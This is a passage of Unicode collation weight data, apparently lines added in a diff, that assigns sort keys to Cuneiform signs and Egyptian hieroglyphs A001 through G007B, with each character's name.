+1251C ; [.4DEB.0020.0002] # CUNEIFORM SIGN LU2 TIMES PAP
+1251D ; [.4DEC.0020.0002] # CUNEIFORM SIGN LU2 TIMES PAP PLUS PAP PLUS LU3
+1251E ; [.4DED.0020.0002] # CUNEIFORM SIGN LU2 TIMES TAK4
+1251F ; [.4DEE.0020.0002] # CUNEIFORM SIGN MI PLUS ZA7
+12520 ; [.4DEF.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH TIMES GA
+12521 ; [.4DF0.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH TIMES KAK
+12522 ; [.4DF1.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES DIM GUNU
+12523 ; [.4DF2.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GISH
+12524 ; [.4DF3.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GUL
+12525 ; [.4DF4.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES HI
+12526 ; [.4DF5.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES KESH2
+12527 ; [.4DF6.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES LAK-050
+12528 ; [.4DF7.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES MASH
+12529 ; [.4DF8.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES PAP PLUS PAP
+1252A ; [.4DF9.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES U
+1252B ; [.4DFA.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES U PLUS U
+1252C ; [.4DFB.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES URUDA
+1252D ; [.4DFC.0020.0002] # CUNEIFORM SIGN SAG GUNU TIMES HA
+1252E ; [.4DFD.0020.0002] # CUNEIFORM SIGN SAG TIMES EN
+1252F ; [.4DFE.0020.0002] # CUNEIFORM SIGN SAG TIMES SHE AT LEFT
+12530 ; [.4DFF.0020.0002] # CUNEIFORM SIGN SAG TIMES TAK4
+12531 ; [.4E00.0020.0002] # CUNEIFORM SIGN SHA6 TENU
+12532 ; [.4E01.0020.0002] # CUNEIFORM SIGN SHE OVER SHE
+12533 ; [.4E02.0020.0002] # CUNEIFORM SIGN SHE PLUS HUB2
+12534 ; [.4E03.0020.0002] # CUNEIFORM SIGN SHE PLUS NAM2
+12535 ; [.4E04.0020.0002] # CUNEIFORM SIGN SHE PLUS SAR
+12536 ; [.4E05.0020.0002] # CUNEIFORM SIGN SHU2 PLUS DUG TIMES NI
+12537 ; [.4E06.0020.0002] # CUNEIFORM SIGN SHU2 PLUS E2 TIMES AN
+12538 ; [.4E07.0020.0002] # CUNEIFORM SIGN SI TIMES TAK4
+12539 ; [.4E08.0020.0002] # CUNEIFORM SIGN TAK4 PLUS SAG
+1253A ; [.4E09.0020.0002] # CUNEIFORM SIGN TUM TIMES GAN2 TENU
+1253B ; [.4E0A.0020.0002] # CUNEIFORM SIGN TUM TIMES THREE DISH
+1253C ; [.4E0B.0020.0002] # CUNEIFORM SIGN UR2 INVERTED
+1253D ; [.4E0C.0020.0002] # CUNEIFORM SIGN UR2 TIMES UD
+1253E ; [.4E0D.0020.0002] # CUNEIFORM SIGN URU TIMES DARA3
+1253F ; [.4E0E.0020.0002] # CUNEIFORM SIGN URU TIMES LAK-668
+12540 ; [.4E0F.0020.0002] # CUNEIFORM SIGN URU TIMES LU3
+12541 ; [.4E10.0020.0002] # CUNEIFORM SIGN ZA7
+12542 ; [.4E11.0020.0002] # CUNEIFORM SIGN ZU OVER ZU PLUS SAR
+12543 ; [.4E12.0020.0002] # CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
+13000 ; [.4E13.0020.0002] # EGYPTIAN HIEROGLYPH A001
+13001 ; [.4E14.0020.0002] # EGYPTIAN HIEROGLYPH A002
+13002 ; [.4E15.0020.0002] # EGYPTIAN HIEROGLYPH A003
+13003 ; [.4E16.0020.0002] # EGYPTIAN HIEROGLYPH A004
+13004 ; [.4E17.0020.0002] # EGYPTIAN HIEROGLYPH A005
+13005 ; [.4E18.0020.0002] # EGYPTIAN HIEROGLYPH A005A
+13006 ; [.4E19.0020.0002] # EGYPTIAN HIEROGLYPH A006
+13007 ; [.4E1A.0020.0002] # EGYPTIAN HIEROGLYPH A006A
+13008 ; [.4E1B.0020.0002] # EGYPTIAN HIEROGLYPH A006B
+13009 ; [.4E1C.0020.0002] # EGYPTIAN HIEROGLYPH A007
+1300A ; [.4E1D.0020.0002] # EGYPTIAN HIEROGLYPH A008
+1300B ; [.4E1E.0020.0002] # EGYPTIAN HIEROGLYPH A009
+1300C ; [.4E1F.0020.0002] # EGYPTIAN HIEROGLYPH A010
+1300D ; [.4E20.0020.0002] # EGYPTIAN HIEROGLYPH A011
+1300E ; [.4E21.0020.0002] # EGYPTIAN HIEROGLYPH A012
+1300F ; [.4E22.0020.0002] # EGYPTIAN HIEROGLYPH A013
+13010 ; [.4E23.0020.0002] # EGYPTIAN HIEROGLYPH A014
+13011 ; [.4E24.0020.0002] # EGYPTIAN HIEROGLYPH A014A
+13012 ; [.4E25.0020.0002] # EGYPTIAN HIEROGLYPH A015
+13013 ; [.4E26.0020.0002] # EGYPTIAN HIEROGLYPH A016
+13014 ; [.4E27.0020.0002] # EGYPTIAN HIEROGLYPH A017
+13015 ; [.4E28.0020.0002] # EGYPTIAN HIEROGLYPH A017A
+13016 ; [.4E29.0020.0002] # EGYPTIAN HIEROGLYPH A018
+13017 ; [.4E2A.0020.0002] # EGYPTIAN HIEROGLYPH A019
+13018 ; [.4E2B.0020.0002] # EGYPTIAN HIEROGLYPH A020
+13019 ; [.4E2C.0020.0002] # EGYPTIAN HIEROGLYPH A021
+1301A ; [.4E2D.0020.0002] # EGYPTIAN HIEROGLYPH A022
+1301B ; [.4E2E.0020.0002] # EGYPTIAN HIEROGLYPH A023
+1301C ; [.4E2F.0020.0002] # EGYPTIAN HIEROGLYPH A024
+1301D ; [.4E30.0020.0002] # EGYPTIAN HIEROGLYPH A025
+1301E ; [.4E31.0020.0002] # EGYPTIAN HIEROGLYPH A026
+1301F ; [.4E32.0020.0002] # EGYPTIAN HIEROGLYPH A027
+13020 ; [.4E33.0020.0002] # EGYPTIAN HIEROGLYPH A028
+13021 ; [.4E34.0020.0002] # EGYPTIAN HIEROGLYPH A029
+13022 ; [.4E35.0020.0002] # EGYPTIAN HIEROGLYPH A030
+13023 ; [.4E36.0020.0002] # EGYPTIAN HIEROGLYPH A031
+13024 ; [.4E37.0020.0002] # EGYPTIAN HIEROGLYPH A032
+13025 ; [.4E38.0020.0002] # EGYPTIAN HIEROGLYPH A032A
+13026 ; [.4E39.0020.0002] # EGYPTIAN HIEROGLYPH A033
+13027 ; [.4E3A.0020.0002] # EGYPTIAN HIEROGLYPH A034
+13028 ; [.4E3B.0020.0002] # EGYPTIAN HIEROGLYPH A035
+13029 ; [.4E3C.0020.0002] # EGYPTIAN HIEROGLYPH A036
+1302A ; [.4E3D.0020.0002] # EGYPTIAN HIEROGLYPH A037
+1302B ; [.4E3E.0020.0002] # EGYPTIAN HIEROGLYPH A038
+1302C ; [.4E3F.0020.0002] # EGYPTIAN HIEROGLYPH A039
+1302D ; [.4E40.0020.0002] # EGYPTIAN HIEROGLYPH A040
+1302E ; [.4E41.0020.0002] # EGYPTIAN HIEROGLYPH A040A
+1302F ; [.4E42.0020.0002] # EGYPTIAN HIEROGLYPH A041
+13030 ; [.4E43.0020.0002] # EGYPTIAN HIEROGLYPH A042
+13031 ; [.4E44.0020.0002] # EGYPTIAN HIEROGLYPH A042A
+13032 ; [.4E45.0020.0002] # EGYPTIAN HIEROGLYPH A043
+13033 ; [.4E46.0020.0002] # EGYPTIAN HIEROGLYPH A043A
+13034 ; [.4E47.0020.0002] # EGYPTIAN HIEROGLYPH A044
+13035 ; [.4E48.0020.0002] # EGYPTIAN HIEROGLYPH A045
+13036 ; [.4E49.0020.0002] # EGYPTIAN HIEROGLYPH A045A
+13037 ; [.4E4A.0020.0002] # EGYPTIAN HIEROGLYPH A046
+13038 ; [.4E4B.0020.0002] # EGYPTIAN HIEROGLYPH A047
+13039 ; [.4E4C.0020.0002] # EGYPTIAN HIEROGLYPH A048
+1303A ; [.4E4D.0020.0002] # EGYPTIAN HIEROGLYPH A049
+1303B ; [.4E4E.0020.0002] # EGYPTIAN HIEROGLYPH A050
+1303C ; [.4E4F.0020.0002] # EGYPTIAN HIEROGLYPH A051
+1303D ; [.4E50.0020.0002] # EGYPTIAN HIEROGLYPH A052
+1303E ; [.4E51.0020.0002] # EGYPTIAN HIEROGLYPH A053
+1303F ; [.4E52.0020.0002] # EGYPTIAN HIEROGLYPH A054
+13040 ; [.4E53.0020.0002] # EGYPTIAN HIEROGLYPH A055
+13041 ; [.4E54.0020.0002] # EGYPTIAN HIEROGLYPH A056
+13042 ; [.4E55.0020.0002] # EGYPTIAN HIEROGLYPH A057
+13043 ; [.4E56.0020.0002] # EGYPTIAN HIEROGLYPH A058
+13044 ; [.4E57.0020.0002] # EGYPTIAN HIEROGLYPH A059
+13045 ; [.4E58.0020.0002] # EGYPTIAN HIEROGLYPH A060
+13046 ; [.4E59.0020.0002] # EGYPTIAN HIEROGLYPH A061
+13047 ; [.4E5A.0020.0002] # EGYPTIAN HIEROGLYPH A062
+13048 ; [.4E5B.0020.0002] # EGYPTIAN HIEROGLYPH A063
+13049 ; [.4E5C.0020.0002] # EGYPTIAN HIEROGLYPH A064
+1304A ; [.4E5D.0020.0002] # EGYPTIAN HIEROGLYPH A065
+1304B ; [.4E5E.0020.0002] # EGYPTIAN HIEROGLYPH A066
+1304C ; [.4E5F.0020.0002] # EGYPTIAN HIEROGLYPH A067
+1304D ; [.4E60.0020.0002] # EGYPTIAN HIEROGLYPH A068
+1304E ; [.4E61.0020.0002] # EGYPTIAN HIEROGLYPH A069
+1304F ; [.4E62.0020.0002] # EGYPTIAN HIEROGLYPH A070
+13050 ; [.4E63.0020.0002] # EGYPTIAN HIEROGLYPH B001
+13051 ; [.4E64.0020.0002] # EGYPTIAN HIEROGLYPH B002
+13052 ; [.4E65.0020.0002] # EGYPTIAN HIEROGLYPH B003
+13053 ; [.4E66.0020.0002] # EGYPTIAN HIEROGLYPH B004
+13054 ; [.4E67.0020.0002] # EGYPTIAN HIEROGLYPH B005
+13055 ; [.4E68.0020.0002] # EGYPTIAN HIEROGLYPH B005A
+13056 ; [.4E69.0020.0002] # EGYPTIAN HIEROGLYPH B006
+13057 ; [.4E6A.0020.0002] # EGYPTIAN HIEROGLYPH B007
+13058 ; [.4E6B.0020.0002] # EGYPTIAN HIEROGLYPH B008
+13059 ; [.4E6C.0020.0002] # EGYPTIAN HIEROGLYPH B009
+1305A ; [.4E6D.0020.0002] # EGYPTIAN HIEROGLYPH C001
+1305B ; [.4E6E.0020.0002] # EGYPTIAN HIEROGLYPH C002
+1305C ; [.4E6F.0020.0002] # EGYPTIAN HIEROGLYPH C002A
+1305D ; [.4E70.0020.0002] # EGYPTIAN HIEROGLYPH C002B
+1305E ; [.4E71.0020.0002] # EGYPTIAN HIEROGLYPH C002C
+1305F ; [.4E72.0020.0002] # EGYPTIAN HIEROGLYPH C003
+13060 ; [.4E73.0020.0002] # EGYPTIAN HIEROGLYPH C004
+13061 ; [.4E74.0020.0002] # EGYPTIAN HIEROGLYPH C005
+13062 ; [.4E75.0020.0002] # EGYPTIAN HIEROGLYPH C006
+13063 ; [.4E76.0020.0002] # EGYPTIAN HIEROGLYPH C007
+13064 ; [.4E77.0020.0002] # EGYPTIAN HIEROGLYPH C008
+13065 ; [.4E78.0020.0002] # EGYPTIAN HIEROGLYPH C009
+13066 ; [.4E79.0020.0002] # EGYPTIAN HIEROGLYPH C010
+13067 ; [.4E7A.0020.0002] # EGYPTIAN HIEROGLYPH C010A
+13068 ; [.4E7B.0020.0002] # EGYPTIAN HIEROGLYPH C011
+13069 ; [.4E7C.0020.0002] # EGYPTIAN HIEROGLYPH C012
+1306A ; [.4E7D.0020.0002] # EGYPTIAN HIEROGLYPH C013
+1306B ; [.4E7E.0020.0002] # EGYPTIAN HIEROGLYPH C014
+1306C ; [.4E7F.0020.0002] # EGYPTIAN HIEROGLYPH C015
+1306D ; [.4E80.0020.0002] # EGYPTIAN HIEROGLYPH C016
+1306E ; [.4E81.0020.0002] # EGYPTIAN HIEROGLYPH C017
+1306F ; [.4E82.0020.0002] # EGYPTIAN HIEROGLYPH C018
+13070 ; [.4E83.0020.0002] # EGYPTIAN HIEROGLYPH C019
+13071 ; [.4E84.0020.0002] # EGYPTIAN HIEROGLYPH C020
+13072 ; [.4E85.0020.0002] # EGYPTIAN HIEROGLYPH C021
+13073 ; [.4E86.0020.0002] # EGYPTIAN HIEROGLYPH C022
+13074 ; [.4E87.0020.0002] # EGYPTIAN HIEROGLYPH C023
+13075 ; [.4E88.0020.0002] # EGYPTIAN HIEROGLYPH C024
+13076 ; [.4E89.0020.0002] # EGYPTIAN HIEROGLYPH D001
+13077 ; [.4E8A.0020.0002] # EGYPTIAN HIEROGLYPH D002
+13078 ; [.4E8B.0020.0002] # EGYPTIAN HIEROGLYPH D003
+13079 ; [.4E8C.0020.0002] # EGYPTIAN HIEROGLYPH D004
+1307A ; [.4E8D.0020.0002] # EGYPTIAN HIEROGLYPH D005
+1307B ; [.4E8E.0020.0002] # EGYPTIAN HIEROGLYPH D006
+1307C ; [.4E8F.0020.0002] # EGYPTIAN HIEROGLYPH D007
+1307D ; [.4E90.0020.0002] # EGYPTIAN HIEROGLYPH D008
+1307E ; [.4E91.0020.0002] # EGYPTIAN HIEROGLYPH D008A
+1307F ; [.4E92.0020.0002] # EGYPTIAN HIEROGLYPH D009
+13080 ; [.4E93.0020.0002] # EGYPTIAN HIEROGLYPH D010
+13081 ; [.4E94.0020.0002] # EGYPTIAN HIEROGLYPH D011
+13082 ; [.4E95.0020.0002] # EGYPTIAN HIEROGLYPH D012
+13083 ; [.4E96.0020.0002] # EGYPTIAN HIEROGLYPH D013
+13084 ; [.4E97.0020.0002] # EGYPTIAN HIEROGLYPH D014
+13085 ; [.4E98.0020.0002] # EGYPTIAN HIEROGLYPH D015
+13086 ; [.4E99.0020.0002] # EGYPTIAN HIEROGLYPH D016
+13087 ; [.4E9A.0020.0002] # EGYPTIAN HIEROGLYPH D017
+13088 ; [.4E9B.0020.0002] # EGYPTIAN HIEROGLYPH D018
+13089 ; [.4E9C.0020.0002] # EGYPTIAN HIEROGLYPH D019
+1308A ; [.4E9D.0020.0002] # EGYPTIAN HIEROGLYPH D020
+1308B ; [.4E9E.0020.0002] # EGYPTIAN HIEROGLYPH D021
+1308C ; [.4E9F.0020.0002] # EGYPTIAN HIEROGLYPH D022
+1308D ; [.4EA0.0020.0002] # EGYPTIAN HIEROGLYPH D023
+1308E ; [.4EA1.0020.0002] # EGYPTIAN HIEROGLYPH D024
+1308F ; [.4EA2.0020.0002] # EGYPTIAN HIEROGLYPH D025
+13090 ; [.4EA3.0020.0002] # EGYPTIAN HIEROGLYPH D026
+13091 ; [.4EA4.0020.0002] # EGYPTIAN HIEROGLYPH D027
+13092 ; [.4EA5.0020.0002] # EGYPTIAN HIEROGLYPH D027A
+13093 ; [.4EA6.0020.0002] # EGYPTIAN HIEROGLYPH D028
+13094 ; [.4EA7.0020.0002] # EGYPTIAN HIEROGLYPH D029
+13095 ; [.4EA8.0020.0002] # EGYPTIAN HIEROGLYPH D030
+13096 ; [.4EA9.0020.0002] # EGYPTIAN HIEROGLYPH D031
+13097 ; [.4EAA.0020.0002] # EGYPTIAN HIEROGLYPH D031A
+13098 ; [.4EAB.0020.0002] # EGYPTIAN HIEROGLYPH D032
+13099 ; [.4EAC.0020.0002] # EGYPTIAN HIEROGLYPH D033
+1309A ; [.4EAD.0020.0002] # EGYPTIAN HIEROGLYPH D034
+1309B ; [.4EAE.0020.0002] # EGYPTIAN HIEROGLYPH D034A
+1309C ; [.4EAF.0020.0002] # EGYPTIAN HIEROGLYPH D035
+1309D ; [.4EB0.0020.0002] # EGYPTIAN HIEROGLYPH D036
+1309E ; [.4EB1.0020.0002] # EGYPTIAN HIEROGLYPH D037
+1309F ; [.4EB2.0020.0002] # EGYPTIAN HIEROGLYPH D038
+130A0 ; [.4EB3.0020.0002] # EGYPTIAN HIEROGLYPH D039
+130A1 ; [.4EB4.0020.0002] # EGYPTIAN HIEROGLYPH D040
+130A2 ; [.4EB5.0020.0002] # EGYPTIAN HIEROGLYPH D041
+130A3 ; [.4EB6.0020.0002] # EGYPTIAN HIEROGLYPH D042
+130A4 ; [.4EB7.0020.0002] # EGYPTIAN HIEROGLYPH D043
+130A5 ; [.4EB8.0020.0002] # EGYPTIAN HIEROGLYPH D044
+130A6 ; [.4EB9.0020.0002] # EGYPTIAN HIEROGLYPH D045
+130A7 ; [.4EBA.0020.0002] # EGYPTIAN HIEROGLYPH D046
+130A8 ; [.4EBB.0020.0002] # EGYPTIAN HIEROGLYPH D046A
+130A9 ; [.4EBC.0020.0002] # EGYPTIAN HIEROGLYPH D047
+130AA ; [.4EBD.0020.0002] # EGYPTIAN HIEROGLYPH D048
+130AB ; [.4EBE.0020.0002] # EGYPTIAN HIEROGLYPH D048A
+130AC ; [.4EBF.0020.0002] # EGYPTIAN HIEROGLYPH D049
+130AD ; [.4EC0.0020.0002] # EGYPTIAN HIEROGLYPH D050
+130AE ; [.4EC1.0020.0002] # EGYPTIAN HIEROGLYPH D050A
+130AF ; [.4EC2.0020.0002] # EGYPTIAN HIEROGLYPH D050B
+130B0 ; [.4EC3.0020.0002] # EGYPTIAN HIEROGLYPH D050C
+130B1 ; [.4EC4.0020.0002] # EGYPTIAN HIEROGLYPH D050D
+130B2 ; [.4EC5.0020.0002] # EGYPTIAN HIEROGLYPH D050E
+130B3 ; [.4EC6.0020.0002] # EGYPTIAN HIEROGLYPH D050F
+130B4 ; [.4EC7.0020.0002] # EGYPTIAN HIEROGLYPH D050G
+130B5 ; [.4EC8.0020.0002] # EGYPTIAN HIEROGLYPH D050H
+130B6 ; [.4EC9.0020.0002] # EGYPTIAN HIEROGLYPH D050I
+130B7 ; [.4ECA.0020.0002] # EGYPTIAN HIEROGLYPH D051
+130B8 ; [.4ECB.0020.0002] # EGYPTIAN HIEROGLYPH D052
+130B9 ; [.4ECC.0020.0002] # EGYPTIAN HIEROGLYPH D052A
+130BA ; [.4ECD.0020.0002] # EGYPTIAN HIEROGLYPH D053
+130BB ; [.4ECE.0020.0002] # EGYPTIAN HIEROGLYPH D054
+130BC ; [.4ECF.0020.0002] # EGYPTIAN HIEROGLYPH D054A
+130BD ; [.4ED0.0020.0002] # EGYPTIAN HIEROGLYPH D055
+130BE ; [.4ED1.0020.0002] # EGYPTIAN HIEROGLYPH D056
+130BF ; [.4ED2.0020.0002] # EGYPTIAN HIEROGLYPH D057
+130C0 ; [.4ED3.0020.0002] # EGYPTIAN HIEROGLYPH D058
+130C1 ; [.4ED4.0020.0002] # EGYPTIAN HIEROGLYPH D059
+130C2 ; [.4ED5.0020.0002] # EGYPTIAN HIEROGLYPH D060
+130C3 ; [.4ED6.0020.0002] # EGYPTIAN HIEROGLYPH D061
+130C4 ; [.4ED7.0020.0002] # EGYPTIAN HIEROGLYPH D062
+130C5 ; [.4ED8.0020.0002] # EGYPTIAN HIEROGLYPH D063
+130C6 ; [.4ED9.0020.0002] # EGYPTIAN HIEROGLYPH D064
+130C7 ; [.4EDA.0020.0002] # EGYPTIAN HIEROGLYPH D065
+130C8 ; [.4EDB.0020.0002] # EGYPTIAN HIEROGLYPH D066
+130C9 ; [.4EDC.0020.0002] # EGYPTIAN HIEROGLYPH D067
+130CA ; [.4EDD.0020.0002] # EGYPTIAN HIEROGLYPH D067A
+130CB ; [.4EDE.0020.0002] # EGYPTIAN HIEROGLYPH D067B
+130CC ; [.4EDF.0020.0002] # EGYPTIAN HIEROGLYPH D067C
+130CD ; [.4EE0.0020.0002] # EGYPTIAN HIEROGLYPH D067D
+130CE ; [.4EE1.0020.0002] # EGYPTIAN HIEROGLYPH D067E
+130CF ; [.4EE2.0020.0002] # EGYPTIAN HIEROGLYPH D067F
+130D0 ; [.4EE3.0020.0002] # EGYPTIAN HIEROGLYPH D067G
+130D1 ; [.4EE4.0020.0002] # EGYPTIAN HIEROGLYPH D067H
+130D2 ; [.4EE5.0020.0002] # EGYPTIAN HIEROGLYPH E001
+130D3 ; [.4EE6.0020.0002] # EGYPTIAN HIEROGLYPH E002
+130D4 ; [.4EE7.0020.0002] # EGYPTIAN HIEROGLYPH E003
+130D5 ; [.4EE8.0020.0002] # EGYPTIAN HIEROGLYPH E004
+130D6 ; [.4EE9.0020.0002] # EGYPTIAN HIEROGLYPH E005
+130D7 ; [.4EEA.0020.0002] # EGYPTIAN HIEROGLYPH E006
+130D8 ; [.4EEB.0020.0002] # EGYPTIAN HIEROGLYPH E007
+130D9 ; [.4EEC.0020.0002] # EGYPTIAN HIEROGLYPH E008
+130DA ; [.4EED.0020.0002] # EGYPTIAN HIEROGLYPH E008A
+130DB ; [.4EEE.0020.0002] # EGYPTIAN HIEROGLYPH E009
+130DC ; [.4EEF.0020.0002] # EGYPTIAN HIEROGLYPH E009A
+130DD ; [.4EF0.0020.0002] # EGYPTIAN HIEROGLYPH E010
+130DE ; [.4EF1.0020.0002] # EGYPTIAN HIEROGLYPH E011
+130DF ; [.4EF2.0020.0002] # EGYPTIAN HIEROGLYPH E012
+130E0 ; [.4EF3.0020.0002] # EGYPTIAN HIEROGLYPH E013
+130E1 ; [.4EF4.0020.0002] # EGYPTIAN HIEROGLYPH E014
+130E2 ; [.4EF5.0020.0002] # EGYPTIAN HIEROGLYPH E015
+130E3 ; [.4EF6.0020.0002] # EGYPTIAN HIEROGLYPH E016
+130E4 ; [.4EF7.0020.0002] # EGYPTIAN HIEROGLYPH E016A
+130E5 ; [.4EF8.0020.0002] # EGYPTIAN HIEROGLYPH E017
+130E6 ; [.4EF9.0020.0002] # EGYPTIAN HIEROGLYPH E017A
+130E7 ; [.4EFA.0020.0002] # EGYPTIAN HIEROGLYPH E018
+130E8 ; [.4EFB.0020.0002] # EGYPTIAN HIEROGLYPH E019
+130E9 ; [.4EFC.0020.0002] # EGYPTIAN HIEROGLYPH E020
+130EA ; [.4EFD.0020.0002] # EGYPTIAN HIEROGLYPH E020A
+130EB ; [.4EFE.0020.0002] # EGYPTIAN HIEROGLYPH E021
+130EC ; [.4EFF.0020.0002] # EGYPTIAN HIEROGLYPH E022
+130ED ; [.4F00.0020.0002] # EGYPTIAN HIEROGLYPH E023
+130EE ; [.4F01.0020.0002] # EGYPTIAN HIEROGLYPH E024
+130EF ; [.4F02.0020.0002] # EGYPTIAN HIEROGLYPH E025
+130F0 ; [.4F03.0020.0002] # EGYPTIAN HIEROGLYPH E026
+130F1 ; [.4F04.0020.0002] # EGYPTIAN HIEROGLYPH E027
+130F2 ; [.4F05.0020.0002] # EGYPTIAN HIEROGLYPH E028
+130F3 ; [.4F06.0020.0002] # EGYPTIAN HIEROGLYPH E028A
+130F4 ; [.4F07.0020.0002] # EGYPTIAN HIEROGLYPH E029
+130F5 ; [.4F08.0020.0002] # EGYPTIAN HIEROGLYPH E030
+130F6 ; [.4F09.0020.0002] # EGYPTIAN HIEROGLYPH E031
+130F7 ; [.4F0A.0020.0002] # EGYPTIAN HIEROGLYPH E032
+130F8 ; [.4F0B.0020.0002] # EGYPTIAN HIEROGLYPH E033
+130F9 ; [.4F0C.0020.0002] # EGYPTIAN HIEROGLYPH E034
+130FA ; [.4F0D.0020.0002] # EGYPTIAN HIEROGLYPH E034A
+130FB ; [.4F0E.0020.0002] # EGYPTIAN HIEROGLYPH E036
+130FC ; [.4F0F.0020.0002] # EGYPTIAN HIEROGLYPH E037
+130FD ; [.4F10.0020.0002] # EGYPTIAN HIEROGLYPH E038
+130FE ; [.4F11.0020.0002] # EGYPTIAN HIEROGLYPH F001
+130FF ; [.4F12.0020.0002] # EGYPTIAN HIEROGLYPH F001A
+13100 ; [.4F13.0020.0002] # EGYPTIAN HIEROGLYPH F002
+13101 ; [.4F14.0020.0002] # EGYPTIAN HIEROGLYPH F003
+13102 ; [.4F15.0020.0002] # EGYPTIAN HIEROGLYPH F004
+13103 ; [.4F16.0020.0002] # EGYPTIAN HIEROGLYPH F005
+13104 ; [.4F17.0020.0002] # EGYPTIAN HIEROGLYPH F006
+13105 ; [.4F18.0020.0002] # EGYPTIAN HIEROGLYPH F007
+13106 ; [.4F19.0020.0002] # EGYPTIAN HIEROGLYPH F008
+13107 ; [.4F1A.0020.0002] # EGYPTIAN HIEROGLYPH F009
+13108 ; [.4F1B.0020.0002] # EGYPTIAN HIEROGLYPH F010
+13109 ; [.4F1C.0020.0002] # EGYPTIAN HIEROGLYPH F011
+1310A ; [.4F1D.0020.0002] # EGYPTIAN HIEROGLYPH F012
+1310B ; [.4F1E.0020.0002] # EGYPTIAN HIEROGLYPH F013
+1310C ; [.4F1F.0020.0002] # EGYPTIAN HIEROGLYPH F013A
+1310D ; [.4F20.0020.0002] # EGYPTIAN HIEROGLYPH F014
+1310E ; [.4F21.0020.0002] # EGYPTIAN HIEROGLYPH F015
+1310F ; [.4F22.0020.0002] # EGYPTIAN HIEROGLYPH F016
+13110 ; [.4F23.0020.0002] # EGYPTIAN HIEROGLYPH F017
+13111 ; [.4F24.0020.0002] # EGYPTIAN HIEROGLYPH F018
+13112 ; [.4F25.0020.0002] # EGYPTIAN HIEROGLYPH F019
+13113 ; [.4F26.0020.0002] # EGYPTIAN HIEROGLYPH F020
+13114 ; [.4F27.0020.0002] # EGYPTIAN HIEROGLYPH F021
+13115 ; [.4F28.0020.0002] # EGYPTIAN HIEROGLYPH F021A
+13116 ; [.4F29.0020.0002] # EGYPTIAN HIEROGLYPH F022
+13117 ; [.4F2A.0020.0002] # EGYPTIAN HIEROGLYPH F023
+13118 ; [.4F2B.0020.0002] # EGYPTIAN HIEROGLYPH F024
+13119 ; [.4F2C.0020.0002] # EGYPTIAN HIEROGLYPH F025
+1311A ; [.4F2D.0020.0002] # EGYPTIAN HIEROGLYPH F026
+1311B ; [.4F2E.0020.0002] # EGYPTIAN HIEROGLYPH F027
+1311C ; [.4F2F.0020.0002] # EGYPTIAN HIEROGLYPH F028
+1311D ; [.4F30.0020.0002] # EGYPTIAN HIEROGLYPH F029
+1311E ; [.4F31.0020.0002] # EGYPTIAN HIEROGLYPH F030
+1311F ; [.4F32.0020.0002] # EGYPTIAN HIEROGLYPH F031
+13120 ; [.4F33.0020.0002] # EGYPTIAN HIEROGLYPH F031A
+13121 ; [.4F34.0020.0002] # EGYPTIAN HIEROGLYPH F032
+13122 ; [.4F35.0020.0002] # EGYPTIAN HIEROGLYPH F033
+13123 ; [.4F36.0020.0002] # EGYPTIAN HIEROGLYPH F034
+13124 ; [.4F37.0020.0002] # EGYPTIAN HIEROGLYPH F035
+13125 ; [.4F38.0020.0002] # EGYPTIAN HIEROGLYPH F036
+13126 ; [.4F39.0020.0002] # EGYPTIAN HIEROGLYPH F037
+13127 ; [.4F3A.0020.0002] # EGYPTIAN HIEROGLYPH F037A
+13128 ; [.4F3B.0020.0002] # EGYPTIAN HIEROGLYPH F038
+13129 ; [.4F3C.0020.0002] # EGYPTIAN HIEROGLYPH F038A
+1312A ; [.4F3D.0020.0002] # EGYPTIAN HIEROGLYPH F039
+1312B ; [.4F3E.0020.0002] # EGYPTIAN HIEROGLYPH F040
+1312C ; [.4F3F.0020.0002] # EGYPTIAN HIEROGLYPH F041
+1312D ; [.4F40.0020.0002] # EGYPTIAN HIEROGLYPH F042
+1312E ; [.4F41.0020.0002] # EGYPTIAN HIEROGLYPH F043
+1312F ; [.4F42.0020.0002] # EGYPTIAN HIEROGLYPH F044
+13130 ; [.4F43.0020.0002] # EGYPTIAN HIEROGLYPH F045
+13131 ; [.4F44.0020.0002] # EGYPTIAN HIEROGLYPH F045A
+13132 ; [.4F45.0020.0002] # EGYPTIAN HIEROGLYPH F046
+13133 ; [.4F46.0020.0002] # EGYPTIAN HIEROGLYPH F046A
+13134 ; [.4F47.0020.0002] # EGYPTIAN HIEROGLYPH F047
+13135 ; [.4F48.0020.0002] # EGYPTIAN HIEROGLYPH F047A
+13136 ; [.4F49.0020.0002] # EGYPTIAN HIEROGLYPH F048
+13137 ; [.4F4A.0020.0002] # EGYPTIAN HIEROGLYPH F049
+13138 ; [.4F4B.0020.0002] # EGYPTIAN HIEROGLYPH F050
+13139 ; [.4F4C.0020.0002] # EGYPTIAN HIEROGLYPH F051
+1313A ; [.4F4D.0020.0002] # EGYPTIAN HIEROGLYPH F051A
+1313B ; [.4F4E.0020.0002] # EGYPTIAN HIEROGLYPH F051B
+1313C ; [.4F4F.0020.0002] # EGYPTIAN HIEROGLYPH F051C
+1313D ; [.4F50.0020.0002] # EGYPTIAN HIEROGLYPH F052
+1313E ; [.4F51.0020.0002] # EGYPTIAN HIEROGLYPH F053
+1313F ; [.4F52.0020.0002] # EGYPTIAN HIEROGLYPH G001
+13140 ; [.4F53.0020.0002] # EGYPTIAN HIEROGLYPH G002
+13141 ; [.4F54.0020.0002] # EGYPTIAN HIEROGLYPH G003
+13142 ; [.4F55.0020.0002] # EGYPTIAN HIEROGLYPH G004
+13143 ; [.4F56.0020.0002] # EGYPTIAN HIEROGLYPH G005
+13144 ; [.4F57.0020.0002] # EGYPTIAN HIEROGLYPH G006
+13145 ; [.4F58.0020.0002] # EGYPTIAN HIEROGLYPH G006A
+13146 ; [.4F59.0020.0002] # EGYPTIAN HIEROGLYPH G007
+13147 ; [.4F5A.0020.0002] # EGYPTIAN HIEROGLYPH G007A
+13148 ; [.4F5B.0020.0002] # EGYPTIAN HIEROGLYPH G007B
